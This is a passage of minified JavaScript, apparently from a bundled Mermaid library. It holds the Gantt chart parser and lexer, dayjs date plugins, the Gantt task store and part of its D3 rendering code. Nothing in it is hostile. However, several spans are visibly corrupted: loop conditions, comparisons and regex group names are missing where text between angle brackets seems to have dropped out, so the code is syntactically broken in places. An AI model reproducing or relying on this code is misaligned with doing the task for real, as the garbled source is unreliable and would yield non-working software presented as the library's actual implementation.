this.yy)Object.prototype.hasOwnProperty.call(this.yy,ee)&&(re.yy[ee]=this.yy[ee]);ue.setInput(_,re.yy),re.yy.lexer=ue,re.yy.parser=this,typeof ue.yylloc>"u"&&(ue.yylloc={});var Z=ue.yylloc;F.push(Z);var K=ue.options&&ue.options.ranges;typeof re.yy.parseError=="function"?this.parseError=re.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function ae(Ce){M.length=M.length-2*Ce,B.length=B.length-Ce,F.length=F.length-Ce}o(ae,"popStack");function Q(){var Ce;return Ce=P.pop()||ue.lex()||oe,typeof Ce!="number"&&(Ce instanceof Array&&(P=Ce,Ce=P.pop()),Ce=O.symbols_[Ce]||Ce),Ce}o(Q,"lex");for(var de,ne,Te,q,Ve,pe,Be={},Ye,He,Le,Ie;;){if(Te=M[M.length-1],this.defaultActions[Te]?q=this.defaultActions[Te]:((de===null||typeof de>"u")&&(de=Q()),q=G[Te]&&G[Te][de]),typeof q>"u"||!q.length||!q[0]){var Ne="";Ie=[];for(Ye in G[Te])this.terminals_[Ye]&&Ye>Y&&Ie.push("'"+this.terminals_[Ye]+"'");ue.showPosition?Ne="Parse error on line "+(U+1)+`: +`+ue.showPosition()+` +Expecting `+Ie.join(", ")+", got '"+(this.terminals_[de]||de)+"'":Ne="Parse error on line "+(U+1)+": Unexpected "+(de==oe?"end of input":"'"+(this.terminals_[de]||de)+"'"),this.parseError(Ne,{text:ue.match,token:this.terminals_[de]||de,line:ue.yylineno,loc:Z,expected:Ie})}if(q[0]instanceof Array&&q.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Te+", token: "+de);switch(q[0]){case 1:M.push(de),B.push(ue.yytext),F.push(ue.yylloc),M.push(q[1]),de=null,ne?(de=ne,ne=null):(j=ue.yyleng,$=ue.yytext,U=ue.yylineno,Z=ue.yylloc,te>0&&te--);break;case 2:if(He=this.productions_[q[1]][1],Be.$=B[B.length-He],Be._$={first_line:F[F.length-(He||1)].first_line,last_line:F[F.length-1].last_line,first_column:F[F.length-(He||1)].first_column,last_column:F[F.length-1].last_column},K&&(Be._$.range=[F[F.length-(He||1)].range[0],F[F.length-1].range[1]]),pe=this.performAction.apply(Be,[$,j,U,re.yy,q[1],B,F].concat(J)),typeof pe<"u")return pe;He&&(M=M.slice(0,-1*He*2),B=B.slice(0,-1*He),F=F.slice(0,-1*He)),M.push(this.productions_[q[1]][0]),B.push(Be.$),F.push(Be._$),Le=G[M[M.length-2]][M[M.length-1]],M.push(Le);break;case 3:return!0}}return!0},"parse")},L=(function(){var D={EOF:1,parseError:o(function(O,M){if(this.yy.parser)this.yy.parser.parseError(O,M);else throw new Error(O)},"parseError"),setInput:o(function(_,O){return this.yy=O||this.yy||{},this._input=_,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var _=this._input[0];this.yytext+=_,this.yyleng++,this.offset++,this.match+=_,this.matched+=_;var O=_.match(/(?:\r\n?|\n).*/g);return O?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),_},"input"),unput:o(function(_){var O=_.length,M=_.split(/(?:\r\n?|\n)/g);this._input=_+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-O),this.offset-=O;var P=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),M.length-1&&(this.yylineno-=M.length-1);var B=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:M?(M.length===P.length?this.yylloc.first_column:0)+P[P.length-M.length].length-M[0].length:this.yylloc.first_column-O},this.options.ranges&&(this.yylloc.range=[B[0],B[0]+this.yyleng-O]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(_){this.unput(this.match.slice(_))},"less"),pastInput:o(function(){var _=this.matched.substr(0,this.matched.length-this.match.length);return(_.length>20?"...":"")+_.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var _=this.match;return _.length<20&&(_+=this._input.substr(0,20-_.length)),(_.substr(0,20)+(_.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var _=this.pastInput(),O=new Array(_.length+1).join("-");return _+this.upcomingInput()+` +`+O+"^"},"showPosition"),test_match:o(function(_,O){var M,P,B;if(this.options.backtrack_lexer&&(B={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(B.yylloc.range=this.yylloc.range.slice(0))),P=_[0].match(/(?:\r\n?|\n).*/g),P&&(this.yylineno+=P.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:P?P[P.length-1].length-P[P.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+_[0].length},this.yytext+=_[0],this.match+=_[0],this.matches=_,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(_[0].length),this.matched+=_[0],M=this.performAction.call(this,this.yy,this,O,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),M)return M;if(this._backtrack){for(var F in B)this[F]=B[F];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var _,O,M,P;this._more||(this.yytext="",this.match="");for(var B=this._currentRules(),F=0;FO[0].length)){if(O=M,P=F,this.options.backtrack_lexer){if(_=this.test_match(M,B[F]),_!==!1)return _;if(this._backtrack){O=!1;continue}else return!1}else if(!this.options.flex)break}return O?(_=this.test_match(O,B[P]),_!==!1?_:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var O=this.next();return O||this.lex()},"lex"),begin:o(function(O){this.conditionStack.push(O)},"begin"),popState:o(function(){var O=this.conditionStack.length-1;return O>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(O){return O=this.conditionStack.length-1-Math.abs(O||0),O>=0?this.conditionStack[O]:"INITIAL"},"topState"),pushState:o(function(O){this.begin(O)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(O,M,P,B){var F=B;switch(P){case 0:return this.begin("open_directive"),"open_directive";break;case 1:return this.begin("acc_title"),31;break;case 2:return this.popState(),"acc_title_value";break;case 3:return this.begin("acc_descr"),33;break;case 4:return this.popState(),"acc_descr_value";break;case 5:this.begin("acc_descr_multiline");break;case 6:this.popState();break;case 7:return"acc_descr_multiline_value";case 8:break;case 9:break;case 10:break;case 11:return 10;case 12:break;case 13:break;case 14:this.begin("href");break;case 15:this.popState();break;case 16:return 43;case 17:this.begin("callbackname");break;case 18:this.popState();break;case 19:this.popState(),this.begin("callbackargs");break;case 20:return 41;case 21:this.popState();break;case 22:return 42;case 23:this.begin("click");break;case 24:this.popState();break;case 25:return 40;case 26:return 4;case 27:return 22;case 28:return 23;case 29:return 24;case 30:return 25;case 31:return 26;case 32:return 28;case 33:return 27;case 34:return 29;case 35:return 12;case 36:return 13;case 37:return 14;case 38:return 15;case 39:return 16;case 40:return 17;case 41:return 18;case 42:return 20;case 43:return 21;case 44:return"date";case 45:return 30;case 46:return"accDescription";case 47:return 36;case 48:return 38;case 49:return 39;case 50:return":";case 51:return 6;case 52:return"INVALID"}},"anonymous"),rules:[/^(?:%%\{)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:%%(?!\{)*[^\n]*)/i,/^(?:[^\}]%%*[^\n]*)/i,/^(?:%%*[^\n]*[\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:%[^\n]*)/i,/^(?:href[\s]+["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:call[\s]+)/i,/^(?:\([\s]*\))/i,/^(?:\()/i,/^(?:[^(]*)/i,/^(?:\))/i,/^(?:[^)]*)/i,/^(?:click[\s]+)/i,/^(?:[\s\n])/i,/^(?:[^\s\n]*)/i,/^(?:gantt\b)/i,/^(?:dateFormat\s[^#\n;]+)/i,/^(?:inclusiveEndDates\b)/i,/^(?:topAxis\b)/i,/^(?:axisFormat\s[^#\n;]+)/i,/^(?:tickInterval\s[^#\n;]+)/i,/^(?:includes\s[^#\n;]+)/i,/^(?:excludes\s[^#\n;]+)/i,/^(?:todayMarker\s[^\n;]+)/i,/^(?:weekday\s+monday\b)/i,/^(?:weekday\s+tuesday\b)/i,/^(?:weekday\s+wednesday\b)/i,/^(?:weekday\s+thursday\b)/i,/^(?:weekday\s+friday\b)/i,/^(?:weekday\s+saturday\b)/i,/^(?:weekday\s+sunday\b)/i,/^(?:weekend\s+friday\b)/i,/^(?:weekend\s+saturday\b)/i,/^(?:\d\d\d\d-\d\d-\d\d\b)/i,/^(?:title\s[^\n]+)/i,/^(?:accDescription\s[^#\n;]+)/i,/^(?:section\s[^\n]+)/i,/^(?:[^:\n]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[6,7],inclusive:!1},acc_descr:{rules:[4],inclusive:!1},acc_title:{rules:[2],inclusive:!1},callbackargs:{rules:[21,22],inclusive:!1},callbackname:{rules:[18,19,20],inclusive:!1},href:{rules:[15,16],inclusive:!1},click:{rules:[24,25],inclusive:!1},INITIAL:{rules:[0,1,3,5,8,9,10,11,12,13,14,17,23,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52],inclusive:!0}}};return D})();I.lexer=L;function E(){this.yy={}}return o(E,"Parser"),E.prototype=I,I.Parser=E,new E})();mF.parser=mF;Fge=mF});var zge=Da((gF,yF)=>{"use strict";(function(t,e){typeof gF=="object"&&typeof yF<"u"?yF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_isoWeek=e()})(gF,(function(){"use strict";var t="day";return function(e,r,n){var i=o(function(l){return l.add(4-l.isoWeekday(),t)},"a"),a=r.prototype;a.isoWeekYear=function(){return i(this).year()},a.isoWeek=function(l){if(!this.$utils().u(l))return this.add(7*(l-this.isoWeek()),t);var u,h,f,d,p=i(this),m=(u=this.isoWeekYear(),h=this.$u,f=(h?n.utc:n)().year(u).startOf("year"),d=4-f.isoWeekday(),f.isoWeekday()>4&&(d+=7),f.add(d,t));return p.diff(m,"week")+1},a.isoWeekday=function(l){return this.$utils().u(l)?this.day()||7:this.day(this.day()%7?l:l-7)};var s=a.startOf;a.startOf=function(l,u){var h=this.$utils(),f=!!h.u(u)||u;return h.p(l)==="isoweek"?f?this.date(this.date()-(this.isoWeekday()-1)).startOf("day"):this.date(this.date()-1-(this.isoWeekday()-1)+7).endOf("day"):s.bind(this)(l,u)}}}))});var Gge=Da((vF,xF)=>{"use strict";(function(t,e){typeof vF=="object"&&typeof xF<"u"?xF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_customParseFormat=e()})(vF,(function(){"use strict";var t={LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},e=/(\[[^[]*\])|([-_:/.,()\s]+)|(A|a|Q|YYYY|YY?|ww?|MM?M?M?|Do|DD?|hh?|HH?|mm?|ss?|S{1,3}|z|ZZ?)/g,r=/\d/,n=/\d\d/,i=/\d\d?/,a=/\d*[^-_:/,()\s\d]+/,s={},l=o(function(g){return(g=+g)+(g>68?1900:2e3)},"a"),u=o(function(g){return function(y){this[g]=+y}},"f"),h=[/[+-]\d\d:?(\d\d)?|Z/,function(g){(this.zone||(this.zone={})).offset=(function(y){if(!y||y==="Z")return 0;var v=y.match(/([+-]|\d\d)/g),x=60*v[1]+(+v[2]||0);return x===0?0:v[0]==="+"?-x:x})(g)}],f=o(function(g){var y=s[g];return y&&(y.indexOf?y:y.s.concat(y.f))},"u"),d=o(function(g,y){var v,x=s.meridiem;if(x){for(var b=1;b<=24;b+=1)if(g.indexOf(x(b,0,y))>-1){v=b>12;break}}else v=g===(y?"pm":"PM");return v},"d"),p={A:[a,function(g){this.afternoon=d(g,!1)}],a:[a,function(g){this.afternoon=d(g,!0)}],Q:[r,function(g){this.month=3*(g-1)+1}],S:[r,function(g){this.milliseconds=100*+g}],SS:[n,function(g){this.milliseconds=10*+g}],SSS:[/\d{3}/,function(g){this.milliseconds=+g}],s:[i,u("seconds")],ss:[i,u("seconds")],m:[i,u("minutes")],mm:[i,u("minutes")],H:[i,u("hours")],h:[i,u("hours")],HH:[i,u("hours")],hh:[i,u("hours")],D:[i,u("day")],DD:[n,u("day")],Do:[a,function(g){var y=s.ordinal,v=g.match(/\d+/);if(this.day=v[0],y)for(var x=1;x<=31;x+=1)y(x).replace(/\[|\]/g,"")===g&&(this.day=x)}],w:[i,u("week")],ww:[n,u("week")],M:[i,u("month")],MM:[n,u("month")],MMM:[a,function(g){var y=f("months"),v=(f("monthsShort")||y.map((function(x){return x.slice(0,3)}))).indexOf(g)+1;if(v<1)throw new Error;this.month=v%12||v}],MMMM:[a,function(g){var y=f("months").indexOf(g)+1;if(y<1)throw new Error;this.month=y%12||y}],Y:[/[+-]?\d+/,u("year")],YY:[n,function(g){this.year=l(g)}],YYYY:[/\d{4}/,u("year")],Z:h,ZZ:h};function m(g){var y,v;y=g,v=s&&s.formats;for(var x=(g=y.replace(/(\[[^\]]+])|(LTS?|l{1,4}|L{1,4})/g,(function(C,R,I){var L=I&&I.toUpperCase();return R||v[I]||t[I]||v[L].replace(/(\[[^\]]+])|(MMMM|MM|DD|dddd)/g,(function(E,D,_){return D||_.slice(1)}))}))).match(e),b=x.length,T=0;T-1)return new Date((M==="X"?1e3:1)*O);var F=m(M)(O),G=F.year,$=F.month,U=F.day,j=F.hours,te=F.minutes,Y=F.seconds,oe=F.milliseconds,J=F.zone,ue=F.week,re=new Date,ee=U||(G||$?1:re.getDate()),Z=G||re.getFullYear(),K=0;G&&!$||(K=$>0?$-1:re.getMonth());var ae,Q=j||0,de=te||0,ne=Y||0,Te=oe||0;return J?new Date(Date.UTC(Z,K,ee,Q,de,ne,Te+60*J.offset*1e3)):P?new Date(Date.UTC(Z,K,ee,Q,de,ne,Te)):(ae=new Date(Z,K,ee,Q,de,ne,Te),ue&&(ae=B(ae).week(ue).toDate()),ae)}catch{return new Date("")}})(S,A,w,v),this.init(),L&&L!==!0&&(this.$L=this.locale(L).$L),I&&S!=this.format(A)&&(this.$d=new Date("")),s={}}else if(A instanceof Array)for(var E=A.length,D=1;D<=E;D+=1){k[1]=A[D-1];var _=v.apply(this,k);if(_.isValid()){this.$d=_.$d,this.$L=_.$L,this.init();break}D===E&&(this.$d=new Date(""))}else b.call(this,T)}}}))});var Vge=Da((bF,TF)=>{"use strict";(function(t,e){typeof bF=="object"&&typeof TF<"u"?TF.exports=e():typeof define=="function"&&define.amd?define(e):(t=typeof globalThis<"u"?globalThis:t||self).dayjs_plugin_advancedFormat=e()})(bF,(function(){"use strict";return function(t,e){var r=e.prototype,n=r.format;r.format=function(i){var a=this,s=this.$locale();if(!this.isValid())return n.bind(this)(i);var l=this.$utils(),u=(i||"YYYY-MM-DDTHH:mm:ssZ").replace(/\[([^\]]+)]|Q|wo|ww|w|WW|W|zzz|z|gggg|GGGG|Do|X|x|k{1,2}|S/g,(function(h){switch(h){case"Q":return Math.ceil((a.$M+1)/3);case"Do":return s.ordinal(a.$D);case"gggg":return a.weekYear();case"GGGG":return a.isoWeekYear();case"wo":return s.ordinal(a.week(),"W");case"w":case"ww":return l.s(a.week(),h==="w"?1:2,"0");case"W":case"WW":return l.s(a.isoWeek(),h==="W"?1:2,"0");case"k":case"kk":return l.s(String(a.$H===0?24:a.$H),h==="k"?1:2,"0");case"X":return Math.floor(a.$d.getTime()/1e3);case"x":return a.$d.getTime();case"z":return"["+a.offsetName()+"]";case"zzz":return"["+a.offsetName("long")+"]";default:return h}}));return n.bind(this)(u)}}}))});function i1e(t,e,r){let n=!0;for(;n;)n=!1,r.forEach(function(i){let a="^\\s*"+i+"\\s*$",s=new RegExp(a);t[0].match(s)&&(e[i]=!0,t.shift(1),n=!0)})}var qge,xo,Wge,Yge,Xge,Uge,eu,SF,CF,AF,d4,p4,_F,DF,B6,ty,LF,jge,RF,m4,NF,MF,F6,wF,YKe,XKe,jKe,KKe,QKe,ZKe,JKe,eQe,tQe,rQe,nQe,iQe,aQe,sQe,oQe,lQe,cQe,uQe,hQe,fQe,dQe,pQe,mQe,Kge,gQe,yQe,vQe,Qge,xQe,kF,Zge,Jge,O6,ey,bQe,TQe,EF,P6,Vi,e1e,wQe,a0,kQe,Hge,EQe,t1e,SQe,r1e,CQe,AQe,n1e,a1e=N(()=>{"use strict";qge=ja(tm(),1),xo=ja(X4(),1),Wge=ja(zge(),1),Yge=ja(Gge(),1),Xge=ja(Vge(),1);pt();Xt();tr();ci();xo.default.extend(Wge.default);xo.default.extend(Yge.default);xo.default.extend(Xge.default);Uge={friday:5,saturday:6},eu="",SF="",AF="",d4=[],p4=[],_F=new Map,DF=[],B6=[],ty="",LF="",jge=["active","done","crit","milestone","vert"],RF=[],m4=!1,NF=!1,MF="sunday",F6="saturday",wF=0,YKe=o(function(){DF=[],B6=[],ty="",RF=[],O6=0,EF=void 0,P6=void 0,Vi=[],eu="",SF="",LF="",CF=void 0,AF="",d4=[],p4=[],m4=!1,NF=!1,wF=0,_F=new Map,Sr(),MF="sunday",F6="saturday"},"clear"),XKe=o(function(t){SF=t},"setAxisFormat"),jKe=o(function(){return SF},"getAxisFormat"),KKe=o(function(t){CF=t},"setTickInterval"),QKe=o(function(){return CF},"getTickInterval"),ZKe=o(function(t){AF=t},"setTodayMarker"),JKe=o(function(){return AF},"getTodayMarker"),eQe=o(function(t){eu=t},"setDateFormat"),tQe=o(function(){m4=!0},"enableInclusiveEndDates"),rQe=o(function(){return m4},"endDatesAreInclusive"),nQe=o(function(){NF=!0},"enableTopAxis"),iQe=o(function(){return NF},"topAxisEnabled"),aQe=o(function(t){LF=t},"setDisplayMode"),sQe=o(function(){return LF},"getDisplayMode"),oQe=o(function(){return eu},"getDateFormat"),lQe=o(function(t){d4=t.toLowerCase().split(/[\s,]+/)},"setIncludes"),cQe=o(function(){return d4},"getIncludes"),uQe=o(function(t){p4=t.toLowerCase().split(/[\s,]+/)},"setExcludes"),hQe=o(function(){return p4},"getExcludes"),fQe=o(function(){return _F},"getLinks"),dQe=o(function(t){ty=t,DF.push(t)},"addSection"),pQe=o(function(){return DF},"getSections"),mQe=o(function(){let t=Hge(),e=10,r=0;for(;!t&&r[\d\w- ]+)/.exec(r);if(i!==null){let s=null;for(let u of i.groups.ids.split(" ")){let h=a0(u);h!==void 0&&(!s||h.endTime>s.endTime)&&(s=h)}if(s)return s.endTime;let l=new Date;return l.setHours(0,0,0,0),l}let a=(0,xo.default)(r,e.trim(),!0);if(a.isValid())return a.toDate();{X.debug("Invalid date:"+r),X.debug("With date format:"+e.trim());let s=new Date(r);if(s===void 0||isNaN(s.getTime())||s.getFullYear()<-1e4||s.getFullYear()>1e4)throw new Error("Invalid date:"+r);return s}},"getStartDate"),Zge=o(function(t){let e=/^(\d+(?:\.\d+)?)([Mdhmswy]|ms)$/.exec(t.trim());return e!==null?[Number.parseFloat(e[1]),e[2]]:[NaN,"ms"]},"parseDuration"),Jge=o(function(t,e,r,n=!1){r=r.trim();let a=/^until\s+(?[\d\w- ]+)/.exec(r);if(a!==null){let f=null;for(let p of a.groups.ids.split(" ")){let m=a0(p);m!==void 0&&(!f||m.startTime{window.open(r,"_self")}),_F.set(n,r))}),t1e(t,"clickable")},"setLink"),t1e=o(function(t,e){t.split(",").forEach(function(r){let n=a0(r);n!==void 0&&n.classes.push(e)})},"setClass"),SQe=o(function(t,e,r){if(ge().securityLevel!=="loose"||e===void 0)return;let n=[];if(typeof r=="string"){n=r.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let a=0;a{qt.runFunc(e,...n)})},"setClickFun"),r1e=o(function(t,e){RF.push(function(){let r=document.querySelector(`[id="${t}"]`);r!==null&&r.addEventListener("click",function(){e()})},function(){let r=document.querySelector(`[id="${t}-text"]`);r!==null&&r.addEventListener("click",function(){e()})})},"pushFun"),CQe=o(function(t,e,r){t.split(",").forEach(function(n){SQe(n,e,r)}),t1e(t,"clickable")},"setClickEvent"),AQe=o(function(t){RF.forEach(function(e){e(t)})},"bindFunctions"),n1e={getConfig:o(()=>ge().gantt,"getConfig"),clear:YKe,setDateFormat:eQe,getDateFormat:oQe,enableInclusiveEndDates:tQe,endDatesAreInclusive:rQe,enableTopAxis:nQe,topAxisEnabled:iQe,setAxisFormat:XKe,getAxisFormat:jKe,setTickInterval:KKe,getTickInterval:QKe,setTodayMarker:ZKe,getTodayMarker:JKe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,setDisplayMode:aQe,getDisplayMode:sQe,setAccDescription:Ir,getAccDescription:Or,addSection:dQe,getSections:pQe,getTasks:mQe,addTask:wQe,findTaskById:a0,addTaskOrg:kQe,setIncludes:lQe,getIncludes:cQe,setExcludes:uQe,getExcludes:hQe,setClickEvent:CQe,setLink:EQe,getLinks:fQe,bindFunctions:AQe,parseDuration:Zge,isInvalidDate:Kge,setWeekday:gQe,getWeekday:yQe,setWeekend:vQe};o(i1e,"getTaskTags")});var $6,_Qe,s1e,DQe,ah,LQe,o1e,l1e=N(()=>{"use strict";$6=ja(X4(),1);pt();yr();gr();Xt();Ei();_Qe=o(function(){X.debug("Something is calling, setConf, remove the call")},"setConf"),s1e={monday:Ih,tuesday:P5,wednesday:B5,thursday:fc,friday:F5,saturday:$5,sunday:wl},DQe=o((t,e)=>{let r=[...t].map(()=>-1/0),n=[...t].sort((a,s)=>a.startTime-s.startTime||a.order-s.order),i=0;for(let a of n)for(let s=0;s=r[s]){r[s]=a.endTime,a.order=s+e,s>i&&(i=s);break}return i},"getMaxIntersections"),LQe=o(function(t,e,r,n){let i=ge().gantt,a=ge().securityLevel,s;a==="sandbox"&&(s=qe("#i"+e));let l=a==="sandbox"?qe(s.nodes()[0].contentDocument.body):qe("body"),u=a==="sandbox"?s.nodes()[0].contentDocument:document,h=u.getElementById(e);ah=h.parentElement.offsetWidth,ah===void 0&&(ah=1200),i.useWidth!==void 0&&(ah=i.useWidth);let f=n.db.getTasks(),d=[];for(let C of f)d.push(C.type);d=A(d);let p={},m=2*i.topPadding;if(n.db.getDisplayMode()==="compact"||i.displayMode==="compact"){let C={};for(let I of f)C[I.section]===void 0?C[I.section]=[I]:C[I.section].push(I);let R=0;for(let I of Object.keys(C)){let L=DQe(C[I],R)+1;R+=L,m+=L*(i.barHeight+i.barGap),p[I]=L}}else{m+=f.length*(i.barHeight+i.barGap);for(let C of d)p[C]=f.filter(R=>R.type===C).length}h.setAttribute("viewBox","0 0 "+ah+" "+m);let g=l.select(`[id="${e}"]`),y=V5().domain([Y3(f,function(C){return C.startTime}),W3(f,function(C){return C.endTime})]).rangeRound([0,ah-i.leftPadding-i.rightPadding]);function v(C,R){let I=C.startTime,L=R.startTime,E=0;return I>L?E=1:IG.vert===$.vert?0:G.vert?1:-1);let M=[...new Set(C.map(G=>G.order))].map(G=>C.find($=>$.order===G));g.append("g").selectAll("rect").data(M).enter().append("rect").attr("x",0).attr("y",function(G,$){return $=G.order,$*R+I-2}).attr("width",function(){return _-i.rightPadding/2}).attr("height",R).attr("class",function(G){for(let[$,U]of d.entries())if(G.type===U)return"section section"+$%i.numberSectionStyles;return"section section0"}).enter();let P=g.append("g").selectAll("rect").data(C).enter(),B=n.db.getLinks();if(P.append("rect").attr("id",function(G){return G.id}).attr("rx",3).attr("ry",3).attr("x",function(G){return G.milestone?y(G.startTime)+L+.5*(y(G.endTime)-y(G.startTime))-.5*E:y(G.startTime)+L}).attr("y",function(G,$){return $=G.order,G.vert?i.gridLineStartPadding:$*R+I}).attr("width",function(G){return G.milestone?E:G.vert?.08*E:y(G.renderEndTime||G.endTime)-y(G.startTime)}).attr("height",function(G){return G.vert?f.length*(i.barHeight+i.barGap)+i.barHeight*2:E}).attr("transform-origin",function(G,$){return $=G.order,(y(G.startTime)+L+.5*(y(G.endTime)-y(G.startTime))).toString()+"px "+($*R+I+.5*E).toString()+"px"}).attr("class",function(G){let $="task",U="";G.classes.length>0&&(U=G.classes.join(" "));let j=0;for(let[Y,oe]of d.entries())G.type===oe&&(j=Y%i.numberSectionStyles);let te="";return G.active?G.crit?te+=" activeCrit":te=" active":G.done?G.crit?te=" doneCrit":te=" done":G.crit&&(te+=" crit"),te.length===0&&(te=" task"),G.milestone&&(te=" milestone "+te),G.vert&&(te=" vert "+te),te+=j,te+=" "+U,$+te}),P.append("text").attr("id",function(G){return G.id+"-text"}).text(function(G){return G.task}).attr("font-size",i.fontSize).attr("x",function(G){let $=y(G.startTime),U=y(G.renderEndTime||G.endTime);if(G.milestone&&($+=.5*(y(G.endTime)-y(G.startTime))-.5*E,U=$+E),G.vert)return y(G.startTime)+L;let j=this.getBBox().width;return j>U-$?U+j+1.5*i.leftPadding>_?$+L-5:U+L+5:(U-$)/2+$+L}).attr("y",function(G,$){return G.vert?i.gridLineStartPadding+f.length*(i.barHeight+i.barGap)+60:($=G.order,$*R+i.barHeight/2+(i.fontSize/2-2)+I)}).attr("text-height",E).attr("class",function(G){let $=y(G.startTime),U=y(G.endTime);G.milestone&&(U=$+E);let j=this.getBBox().width,te="";G.classes.length>0&&(te=G.classes.join(" "));let Y=0;for(let[J,ue]of d.entries())G.type===ue&&(Y=J%i.numberSectionStyles);let oe="";return G.active&&(G.crit?oe="activeCritText"+Y:oe="activeText"+Y),G.done?G.crit?oe=oe+" doneCritText"+Y:oe=oe+" doneText"+Y:G.crit&&(oe=oe+" critText"+Y),G.milestone&&(oe+=" milestoneText"),G.vert&&(oe+=" vertText"),j>U-$?U+j+1.5*i.leftPadding>_?te+" taskTextOutsideLeft taskTextOutside"+Y+" "+oe:te+" taskTextOutsideRight taskTextOutside"+Y+" "+oe+" width-"+j:te+" taskText taskText"+Y+" "+oe+" width-"+j}),ge().securityLevel==="sandbox"){let G;G=qe("#i"+e);let $=G.nodes()[0].contentDocument;P.filter(function(U){return B.has(U.id)}).each(function(U){var j=$.querySelector("#"+U.id),te=$.querySelector("#"+U.id+"-text");let Y=j.parentNode;var oe=$.createElement("a");oe.setAttribute("xlink:href",B.get(U.id)),oe.setAttribute("target","_top"),Y.appendChild(oe),oe.appendChild(j),oe.appendChild(te)})}}o(b,"drawRects");function T(C,R,I,L,E,D,_,O){if(_.length===0&&O.length===0)return;let M,P;for(let{startTime:j,endTime:te}of D)(M===void 0||jP)&&(P=te);if(!M||!P)return;if((0,$6.default)(P).diff((0,$6.default)(M),"year")>5){X.warn("The difference between the min and max time is more than 5 years. This will cause performance issues. Skipping drawing exclude days.");return}let B=n.db.getDateFormat(),F=[],G=null,$=(0,$6.default)(M);for(;$.valueOf()<=P;)n.db.isInvalidDate($,B,_,O)?G?G.end=$:G={start:$,end:$}:G&&(F.push(G),G=null),$=$.add(1,"d");g.append("g").selectAll("rect").data(F).enter().append("rect").attr("id",j=>"exclude-"+j.start.format("YYYY-MM-DD")).attr("x",j=>y(j.start.startOf("day"))+I).attr("y",i.gridLineStartPadding).attr("width",j=>y(j.end.endOf("day"))-y(j.start.startOf("day"))).attr("height",E-R-i.gridLineStartPadding).attr("transform-origin",function(j,te){return(y(j.start)+I+.5*(y(j.end)-y(j.start))).toString()+"px "+(te*C+.5*E).toString()+"px"}).attr("class","exclude-range")}o(T,"drawExcludeDays");function S(C,R,I,L){let E=n.db.getDateFormat(),D=n.db.getAxisFormat(),_;D?_=D:E==="D"?_="%d":_=i.axisFormat??"%Y-%m-%d";let O=QA(y).tickSize(-L+R+i.gridLineStartPadding).tickFormat(Pd(_)),P=/^([1-9]\d*)(millisecond|second|minute|hour|day|week|month)$/.exec(n.db.getTickInterval()||i.tickInterval);if(P!==null){let 